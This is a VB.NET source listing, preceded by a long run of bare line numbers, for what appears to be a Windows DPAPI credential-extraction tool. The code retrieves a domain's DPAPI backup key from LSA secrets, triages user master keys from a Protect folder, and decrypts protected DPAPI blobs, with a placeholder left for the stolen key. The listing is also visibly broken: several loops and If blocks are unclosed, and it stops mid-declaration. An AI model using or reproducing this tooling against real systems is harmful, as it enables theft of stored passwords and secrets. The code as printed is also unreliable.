1759

1760

1761

1762

1763

1764

1765

1766

1767

1768

1769

1770

1771

1772

1773

1774

1775

1776

1777

1778

1779

1780

1781

1782

1783

1784

1785

1786

1787

1788

1789

1790

1791

1792

1793

1794

1795

1796

1797

1798

1799

1800

1801

1802

1803

1804

1805

1806

1807

1808

1809

1810

1811

1812

1813

1814

1815

1816

1817

1818

1819

1820

1821

1822

1823

1824

1825

1826

1827

1828

1829

1830

1831

1832

1833

1834

1835

1836

1837

1838

1839

1840

1841

1842

1843

1844

1845

1846

1847

1848

1849

1850

1851

1852

1853

1854

1855

1856

1857

1858

1859

1860

1861

1862

1863

1864

1865

1866

1867

1868

1869

1870

1871

1872

1873

1874

1875

1876

1877

1878

1879

1880

1881

1882

1883

1884

1885

1886

1887

1888

1889

1890

1891

1892

1893

1894

1895

1896

1897

1898

1899

1900

1901

1902

1903

1904

1905

1906

1907

1908

1909

1910

1911

1912

1913

1914

1915

1916

1917

1918

1919

1920

1921

1922

1923

1924

1925

1926

1927

1928

1929

1930

1931

1932

1933

1934

1935

1936

1937

1938

1939

1940

1941

1942

1943

1944

1945

1946

1947

1948

1949

1950

1951

1952

1953

1954

1955

1956

1957

1958

1959

1960

1961

1962

1963

1964

1965

1966

1967

1968

1969

1970

1971

1972

1973

1974

1975

1976

1977

1978

1979

1980

1981

1982

1983

1984

1985

1986

1987

1988

1989

1990

1991

1992

1993

1994

1995

1996

1997

1998

1999

2000

2001

2002

2003

2004

2005

2006

2007

2008

2009

2010

2011

2012

2013

2014

2015

2016

2017

2018

2019

2020

2021

2022

2023

2024

2025

2026

2027

2028

2029

2030

2031

2032

2033

2034

2035

2036

2037

2038

2039

2040

2041

2042

2043

2044

2045

2046

2047

2048

2049

2050

2051

2052

2053

2054

2055

2056

2057

2058

2059

2060

2061

2062

2063

2064

2065

2066

2067

2068

2069

2070

2071

2072

2073

2074

2075

2076

2077

2078

2079

2080

2081

2082

2083

2084

2085

2086

2087

2088

2089

2090

2091

2092

2093

2094

2095

2096

2097

2098

2099

2100

2101

2102

2103

2104

2105

2106

2107

2108

2109

2110

2111

2112

2113

2114

2115

2116

2117

2118

2119

2120

2121

2122

2123

2124

2125

2126

2127

2128

2129

2130

2131

2132

2133

2134

2135

2136

2137

2138

2139

2140

2141

2142

2143

2144

2145

2146

2147

2148

2149

2150

2151

2152

2153

2154

2155

2156

2157

2158

2159

2160

2161

2162

2163

2164

2165

2166

2167

2168

2169

2170

2171

2172

2173

2174

2175

2176

2177

2178

2179

2180

2181

2182

2183

2184

2185

2186

2187

2188

2189

2190

2191

2192

2193

2194

2195

2196

2197

2198

2199

2200

2201

2202

2203

2204

2205

2206

2207

2208

2209

2210

2211

2212

2213

2214

2215

2216

2217

2218

2219

2220

2221

2222

2223

2224

2225

2226

2227

2228

2229

2230

2231

2232

2233

2234

2235

2236

2237

2238

2239

2240

2241

2242

2243

2244

2245

2246

2247

2248

2249

2250

2251

2252

2253

2254

2255

2256

2257

2258

2259

2260

2261

2262

2263

2264

2265

2266

2267

2268

2269

2270

2271

2272

2273

2274

2275

2276

2277

2278

2279

2280

2281

2282

2283

2284

2285

2286

2287

2288

2289

2290

2291

2292

2293

2294

2295

2296

2297

2298

2299

2300

2301

2302

2303

2304

2305

2306

2307

2308

2309

2310

2311

2312

2313

2314

2315

2316

2317

2318

2319

2320

2321

2322

2323

2324

2325

2326

2327

2328

2329

2330

2331

2332

2333

2334

2335

2336

2337

2338

2339

2340

2341

2342

2343

2344

2345

2346

2347

2348

2349

2350

2351

2352

2353

2354

2355

2356

2357

2358

2359

2360

2361

2362

2363

2364

2365

2366

2367

2368

2369

2370

2371

2372

2373

2374

2375

2376

2377

2378

2379

2380

2381

2382

2383

2384

2385

2386

2387

2388

2389

2390

2391

2392

2393

2394

2395

2396

2397

2398

2399

2400

2401

2402

2403

2404

2405

2406

2407

2408

2409

2410

2411

2412

2413

2414

2415

2416

2417

2418

2419

2420

2421

2422

2423

2424

2425

2426

2427

2428

2429

2430

2431

2432

2433

2434

2435

2436

2437

2438

2439

2440

2441

2442

2443

2444

2445

2446

2447

2448

2449

2450

2451

2452

2453

2454

2455

2456

2457

2458

2459

2460

2461

2462

2463

2464

2465

2466

2467

2468

2469

2470

2471

2472

2473

2474

2475

2476

2477

2478

2479

2480

2481

2482

2483

2484

2485

2486

2487

2488

2489

2490

2491

2492

2493

2494

2495

2496

2497

2498

2499

2500

2501

2502

2503

2504

2505

2506

2507

2508

2509

2510

2511

2512

2513

2514

2515

2516

2517

2518

2519

2520

2521

Imports System

Imports System.Text

Imports System.Runtime.InteropServices

Imports System.ComponentModel

Imports Microsoft.VisualBasic

Imports System.Security.Cryptography

Imports System.Security.Principal

Imports System.Text.RegularExpressions

Imports System.IO

Imports System.Xml

Imports System.Security

Public Class Form1

Dim GMappings As New Dictionary(Of String, String)

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

'Use this website to generate the Base64 values from the Hex Strings

'https://base64.guru/converter/encode/hex

Try

Dim pvk64 As String = "HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAAEAAQCNx+xLTsR+xN3d0mRGbmG PLACE YOUR MASTER KEY HERE fzhSXebHVG+2Ea2F6BihR8="

Dim backupKeyBytes As Byte() = Convert.FromBase64String(pvk64)

Dim Localmappings As Dictionary(Of String, String) = Triage.TriageUserMasterKeys(backupKeyBytes, False)

Localmappings = Triage.TriageUserMasterKeys(backupKeyBytes, False)

Dim CustomMappings As Dictionary(Of String, String) = Triage.TriageUserMasterKeys(backupKeyBytes, False)

CustomMappings = Triage.LoadKeysFromFolder(backupKeyBytes, "C:\Users\MyUserName\Desktop\New folder\Protect")

GMappings = Localmappings.Union(CustomMappings).ToDictionary(Function(p) p.Key, Function(p) p.Value)

If GMappings.Count = 0 Then

Console.WriteLine("[!] No master keys decrypted!" & vbCrLf)

Else

Console.WriteLine("[*] User master key cache:" & vbCrLf)

For Each kvp As KeyValuePair(Of String, String) In GMappings

Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value)

Console.WriteLine()

End If

DecryptTest()

Catch ex As Exception

While Not (ex Is Nothing)

Console.WriteLine(ex.Message)

ex = ex.InnerException

End While

End Try

End Sub

Private Sub NativeDecryptTest()

Dim text As String = "ThisIsMyEncrptedTest"

Dim entropy As String = Nothing

Dim description As String

Dim encrypted As String

Dim decrypted As String

Console.WriteLine("Plaintext: {0}" & Chr(13) & Chr(10), text)

' Call DPAPI to encrypt data with user-specific key.

encrypted = DPAPI.Encrypt(DPAPI.KeyType.UserKey, text, entropy, "")

Console.WriteLine("Encrypted with Userkey: {0}" & Chr(13) & Chr(10), encrypted)

' Call DPAPI to encrypt data with user-specific key.

encrypted = DPAPI.Encrypt(DPAPI.KeyType.MachineKey, text, entropy, "")

Console.WriteLine("Encrypted with SystemKey: {0}" & Chr(13) & Chr(10), encrypted)

' Call DPAPI to decrypt data.

decrypted = DPAPI.Decrypt(encrypted, entropy, description)

Console.WriteLine("Decrypted: {0} <<<{1}>>>" & Chr(13) & Chr(10), decrypted, description)

End Sub

Private Sub DecryptTest()

Dim blobBytes As Byte()

blobBytes = Convert.FromBase64String("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAvasm9fxHbkGMktix41J5OAAAAAACAAAAAAADZgAAwAAAABAAAABXxVa3PA56MLNMVKnrdAgfAAAAAASAAACgAAAAEAAAAKwDfmoDSCAXkpDJrW32/bEQAAAA53DM14+h1XhH9DHztLkMnhQAAABRRkW7ulBuOJP2wOHKDJ4OyWo6LA==")

Dim decBytes As Byte() = DPAPI.DescribeDPAPIBlob(blobBytes, GMappings, "blob")

If decBytes.Length <> 0 Then

Console.WriteLine()

If Helpers.IsUnicode(decBytes) Then

Console.WriteLine(" dec(blob) : {0}", System.Text.Encoding.Unicode.GetString(decBytes))

Else

Dim b64DecBytesString As String = BitConverter.ToString(decBytes).Replace("-", " ")

Console.WriteLine(" dec(blob) : {0}", b64DecBytesString)

Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(decBytes))

End If

End Sub

Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged

Try

Dim blobBytes As Byte()

'blobBytes = StringToByteArray("01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bdab26f5fc476e418c92d8b1e35279380000000002000000000003660000c00000001000000057c556b73c0e7a30b34c54a9eb74081f0000000004800000a000000010000000ac037e6a034820179290c9ad6df6fdb110000000e770ccd78fa1d57847f431f3b4b90c9e14000000514645bbba506e3893f6c0e1ca0c9e0ec96a3a2c")

blobBytes = StringToByteArray(RichTextBox1.Text.Trim.Replace(vbCr, "").Replace(vbLf, ""))

Dim decBytes As Byte() = DPAPI.DescribeDPAPIBlob(blobBytes, GMappings, "blob")

If decBytes.Length <> 0 Then

TextBox2.Text = ""

If Helpers.IsUnicode(decBytes) Then

TextBox2.Text &= (" dec(blob) : " & System.Text.Encoding.Unicode.GetString(decBytes))

Else

Dim b64DecBytesString As String = BitConverter.ToString(decBytes).Replace("-", " ")

TextBox2.Text &= (" dec(blob) : " & b64DecBytesString)

TextBox2.Text &= vbCrLf & "Value: " & System.Text.ASCIIEncoding.ASCII.GetString(decBytes)

End If

Catch ex As Exception

TextBox2.Text = "Unable to display"

End Try

End Sub

Public Shared Function StringToByteArray(s As String) As Byte()

' remove any spaces from, e.g. "A0 20 34 34"

s = s.Replace(" "c, "")

' make sure we have an even number of digits

If (s.Length And 1) = 1 Then

Throw New FormatException("Odd string length when even string length Is required.")

End If

' calculate the length of the byte array and dim an array to that

Dim nBytes = s.Length \ 2

Dim a(nBytes - 1) As Byte

' pick out every two bytes and convert them from hex representation

For i = 0 To nBytes - 1

a(i) = Convert.ToByte(s.Substring(i * 2, 2), 16)

Return a

End Function

End Class

Public Class Backup

Public Shared Sub GetBackupKey(ByVal system As String, ByVal Optional outFile As String = "")

Dim aSystemName As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING(system)

Dim aWinErrorCode As UInteger = 0

Dim LsaPolicyHandle = IntPtr.Zero

Dim aObjectAttributes As Interop.LSA_OBJECT_ATTRIBUTES = New Interop.LSA_OBJECT_ATTRIBUTES

aObjectAttributes.Length = 0

aObjectAttributes.RootDirectory = IntPtr.Zero

aObjectAttributes.Attributes = 0

aObjectAttributes.SecurityDescriptor = IntPtr.Zero

aObjectAttributes.SecurityQualityOfService = IntPtr.Zero

Dim aOpenPolicyResult As UInteger = Interop.LsaOpenPolicy(aSystemName, aObjectAttributes, CUInt(Interop.LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION), LsaPolicyHandle)

aWinErrorCode = Interop.LsaNtStatusToWinError(aOpenPolicyResult)

If aWinErrorCode = &H0 Then

Dim PrivateData = IntPtr.Zero

Dim secretName As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING("G$BCKUPKEY_PREFERRED")

Dim ntsResult As UInteger = Interop.LsaRetrievePrivateData(LsaPolicyHandle, secretName, PrivateData)

If ntsResult <> 0 Then

Dim winErrorCode As UInteger = Interop.LsaNtStatusToWinError(ntsResult)

Dim errorMessage As String = New Win32Exception(CInt(winErrorCode)).Message

Console.WriteLine(" [X] Error calling LsaRetrievePrivateData {0} : {1}", winErrorCode, errorMessage)

Return

End If

Dim lusSecretData As Interop.LSA_UNICODE_STRING = CType(Marshal.PtrToStructure(PrivateData, GetType(Interop.LSA_UNICODE_STRING)), Interop.LSA_UNICODE_STRING)

Dim guidBytes = New Byte(lusSecretData.Length - 1) {}

Marshal.Copy(lusSecretData.buffer, guidBytes, 0, lusSecretData.Length)

Dim backupKeyGuid = New Guid(guidBytes)

Console.WriteLine("[*] Preferred backupkey Guid : {0}", backupKeyGuid.ToString)

Dim backupKeyName = String.Format("G$BCKUPKEY_{0}", backupKeyGuid.ToString)

Console.WriteLine("[*] Full preferred backupKeyName : {0}", backupKeyName)

Dim backupKeyLSA As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING(backupKeyName)

Dim PrivateDataKey = IntPtr.Zero

Dim ntsResult2 As UInteger = Interop.LsaRetrievePrivateData(LsaPolicyHandle, backupKeyLSA, PrivateDataKey)

If ntsResult2 <> 0 Then

Dim winErrorCode As UInteger = Interop.LsaNtStatusToWinError(ntsResult2)

Dim errorMessage As String = New Win32Exception(CInt(winErrorCode)).Message

Console.WriteLine(vbCrLf & "[X] Error calling LsaRetrievePrivateData ({0}) : {1}" & vbCrLf, winErrorCode, errorMessage)

Return

End If

Dim backupKeyBytes As Interop.LSA_UNICODE_STRING = CType(Marshal.PtrToStructure(PrivateDataKey, GetType(Interop.LSA_UNICODE_STRING)), Interop.LSA_UNICODE_STRING)

Dim backupKey = New Byte(backupKeyBytes.Length - 1) {}

Marshal.Copy(backupKeyBytes.buffer, backupKey, 0, backupKeyBytes.Length)

Dim versionArray = New Byte(3) {}

Array.Copy(backupKey, 0, versionArray, 0, 4)

Dim version = BitConverter.ToInt32(versionArray, 0)

Dim keyLenArray = New Byte(3) {}

Array.Copy(backupKey, 4, keyLenArray, 0, 4)

Dim keyLen = BitConverter.ToInt32(keyLenArray, 0)

Dim certLenArray = New Byte(3) {}

Array.Copy(backupKey, 8, certLenArray, 0, 4)

Dim certLen = BitConverter.ToInt32(certLenArray, 0)

Dim backupKeyPVK = New Byte(keyLen + 24 - 1) {}

Array.Copy(backupKey, 12, backupKeyPVK, 24, keyLen)

backupKeyPVK(0) = &H1E

backupKeyPVK(1) = &HF1

backupKeyPVK(2) = &HB5

backupKeyPVK(3) = &HB0

backupKeyPVK(8) = 1

Dim lenBytes = BitConverter.GetBytes(CUInt(keyLen))

Array.Copy(lenBytes, 0, backupKeyPVK, 20, 4)

Dim Key As String = Nothing

If String.IsNullOrEmpty(outFile) Then

Dim base64Key = Convert.ToBase64String(backupKeyPVK)

Console.WriteLine("[*] Key :")

For Each line As String In Helpers.Split(base64Key, 80)

Console.WriteLine(" {0}", line)

Key &= line

Else

Dim fs As FileStream = File.Create(outFile)

Dim bw = New BinaryWriter(fs)

bw.Write(backupKeyPVK)

bw.Close()

fs.Close()

Console.WriteLine("[*] Backup key written to : {0}", outFile)

End If

Interop.LsaFreeMemory(PrivateData)

Interop.LsaClose(LsaPolicyHandle)

Else

Dim errorMessage As String = New Win32Exception(CInt(aWinErrorCode)).Message

Console.WriteLine(vbCrLf & "[X] Error calling LsaOpenPolicy ({0}) : {1}" & vbCrLf, aWinErrorCode, errorMessage)

End If

End Sub

End Class

Public Class Interop

Public Enum CryptAlgClass As UInteger

ALG_CLASS_ANY = 0

ALG_CLASS_SIGNATURE = 1 << 13

ALG_CLASS_MSG_ENCRYPT = 2 << 13

ALG_CLASS_DATA_ENCRYPT = 3 << 13

ALG_CLASS_HASH = 4 << 13

ALG_CLASS_KEY_EXCHANGE = 5 << 13

ALG_CLASS_ALL = 7 << 13

End Enum

Public Enum CryptAlgType As UInteger

ALG_TYPE_ANY = 0

ALG_TYPE_DSS = 1 << 9

ALG_TYPE_RSA = 2 << 9

ALG_TYPE_BLOCK = 3 << 9

ALG_TYPE_STREAM = 4 << 9

ALG_TYPE_DH = 5 << 9

ALG_TYPE_SECURECHANNEL = 6 << 9

End Enum

Public Enum CryptAlgSID As UInteger

ALG_SID_ANY = 0

ALG_SID_RSA_ANY = 0

ALG_SID_RSA_PKCS = 1

ALG_SID_RSA_MSATWORK = 2

ALG_SID_RSA_ENTRUST = 3

ALG_SID_RSA_PGP = 4

ALG_SID_DSS_ANY = 0

ALG_SID_DSS_PKCS = 1

ALG_SID_DSS_DMS = 2

ALG_SID_ECDSA = 3

ALG_SID_DES = 1

ALG_SID_3DES = 3

ALG_SID_DESX = 4

ALG_SID_IDEA = 5

ALG_SID_CAST = 6

ALG_SID_SAFERSK64 = 7

ALG_SID_SAFERSK128 = 8

ALG_SID_3DES_112 = 9

ALG_SID_CYLINK_MEK = 12

ALG_SID_RC5 = 13

ALG_SID_AES_128 = 14

ALG_SID_AES_192 = 15

ALG_SID_AES_256 = 16

ALG_SID_AES = 17

ALG_SID_SKIPJACK = 10

ALG_SID_TEK = 11

ALG_SID_RC2 = 2

ALG_SID_RC4 = 1

ALG_SID_SEAL = 2

ALG_SID_DH_SANDF = 1

ALG_SID_DH_EPHEM = 2

ALG_SID_AGREED_KEY_ANY = 3

ALG_SID_KEA = 4

ALG_SID_ECDH = 5

ALG_SID_MD2 = 1

ALG_SID_MD4 = 2

ALG_SID_MD5 = 3

ALG_SID_SHA = 4

ALG_SID_SHA1 = 4

ALG_SID_MAC = 5

ALG_SID_RIPEMD = 6

ALG_SID_RIPEMD160 = 7

ALG_SID_SSL3SHAMD5 = 8

ALG_SID_HMAC = 9

ALG_SID_TLS1PRF = 10

ALG_SID_HASH_REPLACE_OWF = 11

ALG_SID_SHA_256 = 12

ALG_SID_SHA_384 = 13

ALG_SID_SHA_512 = 14

ALG_SID_SSL3_MASTER = 1

ALG_SID_SCHANNEL_MASTER_HASH = 2

ALG_SID_SCHANNEL_MAC_KEY = 3

ALG_SID_PCT1_MASTER = 4

ALG_SID_SSL2_MASTER = 5

ALG_SID_TLS1_MASTER = 6

ALG_SID_SCHANNEL_ENC_KEY = 7

ALG_SID_ECMQV = 1

End Enum

Public Enum CryptAlg As UInteger

CALG_MD2 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD2

CALG_MD4 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD4

CALG_MD5 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD5

CALG_SHA = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA

CALG_SHA1 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA1

CALG_MAC = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MAC

CALG_RSA_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_RSA Or CryptAlgSID.ALG_SID_RSA_ANY

CALG_DSS_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_DSS Or CryptAlgSID.ALG_SID_DSS_ANY

CALG_NO_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_ANY

CALG_RSA_KEYX = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_RSA Or CryptAlgSID.ALG_SID_RSA_ANY

CALG_DES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_DES

CALG_3DES_112 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_3DES_112

CALG_3DES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_3DES

CALG_DESX = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_DESX

CALG_RC2 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_RC2

CALG_RC4 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_STREAM Or CryptAlgSID.ALG_SID_RC4

CALG_SEAL = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_STREAM Or CryptAlgSID.ALG_SID_SEAL

CALG_DH_SF = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_DH_SANDF

CALG_DH_EPHEM = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_DH_EPHEM

CALG_AGREEDKEY_ANY = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_AGREED_KEY_ANY

CALG_KEA_KEYX = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_KEA

CALG_HUGHES_MD5 = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD5

CALG_SKIPJACK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_SKIPJACK

CALG_TEK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_TEK

CALG_CYLINK_MEK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_CYLINK_MEK

CALG_SSL3_SHAMD5 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SSL3SHAMD5

CALG_SSL3_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SSL3_MASTER

CALG_SCHANNEL_MASTER_HASH = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_MASTER_HASH

CALG_SCHANNEL_MAC_KEY = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_MAC_KEY

CALG_SCHANNEL_ENC_KEY = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_ENC_KEY

CALG_PCT1_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_PCT1_MASTER

CALG_SSL2_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SSL2_MASTER

CALG_TLS1_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_TLS1_MASTER

CALG_RC5 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_RC5

CALG_HMAC = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_HMAC

CALG_TLS1PRF = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_TLS1PRF

CALG_HASH_REPLACE_OWF = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_HASH_REPLACE_OWF

CALG_AES_128 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_128

CALG_AES_192 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_192

CALG_AES_256 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_256

CALG_AES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES

CALG_SHA_256 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_256

CALG_SHA_384 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_384

CALG_SHA_512 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_512

CALG_ECDH = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_ECDH

CALG_ECMQV = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_ECMQV

CALG_ECDSA = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_DSS Or CryptAlgSID.ALG_SID_ECDSA

End Enum

<StructLayout(LayoutKind.Sequential)>

Public Structure LSA_UNICODE_STRING

Implements IDisposable

Public Length As UShort

Public MaximumLength As UShort

Public buffer As IntPtr

Public Sub New(ByVal s As String)

Length = CUShort(s.Length * 2)

MaximumLength = CUShort(Length + 2)

buffer = Marshal.StringToHGlobalUni(s)

End Sub

Public Sub Dispose() Implements IDisposable.Dispose

Marshal.FreeHGlobal(buffer)

buffer = IntPtr.Zero

End Sub

Public Overrides Function ToString() As String

Return Marshal.PtrToStringUni(buffer)

End Function

End Structure

Public Enum POLICY_INFORMATION_CLASS

PolicyAuditLogInformation = 1

PolicyAuditEventsInformation

PolicyPrimaryDomainInformation

PolicyPdAccountInformation

PolicyAccountDomainInformation

PolicyLsaServerRoleInformation

PolicyReplicaSourceInformation

PolicyDefaultQuotaInformation

PolicyModificationInformation

PolicyAuditFullSetInformation

PolicyAuditFullQueryInformation

PolicyDnsDomainInformation

End Enum

Public Enum LSA_AccessPolicy As Long

POLICY_VIEW_LOCAL_INFORMATION = &H1L

POLICY_VIEW_AUDIT_INFORMATION = &H2L

POLICY_GET_PRIVATE_INFORMATION = &H4L

POLICY_TRUST_ADMIN = &H8L

POLICY_CREATE_ACCOUNT = &H10L

POLICY_CREATE_SECRET = &H20L

POLICY_CREATE_PRIVILEGE = &H40L

POLICY_SET_DEFAULT_QUOTA_LIMITS = &H80L

POLICY_SET_AUDIT_REQUIREMENTS = &H100L

POLICY_AUDIT_LOG_ADMIN = &H200L

POLICY_SERVER_ADMIN = &H400L

POLICY_LOOKUP_NAMES = &H800L

POLICY_NOTIFICATION = &H1000L

End Enum

Public Structure LSA_OBJECT_ATTRIBUTES

Public Length As UInteger

Public RootDirectory As IntPtr

Public ObjectName As LSA_UNICODE_STRING

Public Attributes As UInteger

Public SecurityDescriptor As IntPtr

Public SecurityQualityOfService As IntPtr

End Structure

<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>

Public Structure DOMAIN_CONTROLLER_INFO

<MarshalAs(UnmanagedType.LPTStr)>

Public DomainControllerName As String

<MarshalAs(UnmanagedType.LPTStr)>

Public DomainControllerAddress As String

Public DomainControllerAddressType As UInteger

Public DomainGuid As Guid

<MarshalAs(UnmanagedType.LPTStr)>

Public DomainName As String

<MarshalAs(UnmanagedType.LPTStr)>

Public DnsForestName As String

Public Flags As UInteger

<MarshalAs(UnmanagedType.LPTStr)>

Public DcSiteName As String

<MarshalAs(UnmanagedType.LPTStr)>

Public ClientSiteName As String

End Structure

<Flags>

Public Enum DSGETDCNAME_FLAGS As UInteger

DS_FORCE_REDISCOVERY = &H1

DS_DIRECTORY_SERVICE_REQUIRED = &H10

DS_DIRECTORY_SERVICE_PREFERRED = &H20

DS_GC_SERVER_REQUIRED = &H40

DS_PDC_REQUIRED = &H80

DS_BACKGROUND_ONLY = &H100

DS_IP_REQUIRED = &H200

DS_KDC_REQUIRED = &H400

DS_TIMESERV_REQUIRED = &H800

DS_WRITABLE_REQUIRED = &H1000

DS_GOOD_TIMESERV_PREFERRED = &H2000

DS_AVOID_SELF = &H4000

DS_ONLY_LDAP_NEEDED = &H8000

DS_IS_FLAT_NAME = &H10000

DS_IS_DNS_NAME = &H20000

DS_RETURN_DNS_NAME = &H40000000

DS_RETURN_FLAT_NAME = &H80000000UI

End Enum

<DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)>

Public Shared Function LsaOpenPolicy(ByRef SystemName As LSA_UNICODE_STRING, ByRef ObjectAttributes As LSA_OBJECT_ATTRIBUTES, ByVal DesiredAccess As UInteger, <Out> ByRef PolicyHandle As IntPtr) As UInteger

End Function

<DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)>

Public Shared Function LsaRetrievePrivateData(ByVal PolicyHandle As IntPtr, ByRef KeyName As LSA_UNICODE_STRING, <Out> ByRef PrivateData As IntPtr) As UInteger

End Function

<DllImport("advapi32.dll", SetLastError:=True)>

Public Shared Function LsaNtStatusToWinError(ByVal status As UInteger) As UInteger

End Function

<DllImport("advapi32.dll", SetLastError:=True)>

Public Shared Function LsaClose(ByVal ObjectHandle As IntPtr) As UInteger

End Function

<DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)>

Public Shared Function LsaFreeMemory(ByVal buffer As IntPtr) As UInteger

End Function

<DllImport("advapi32.dll", SetLastError:=True)>

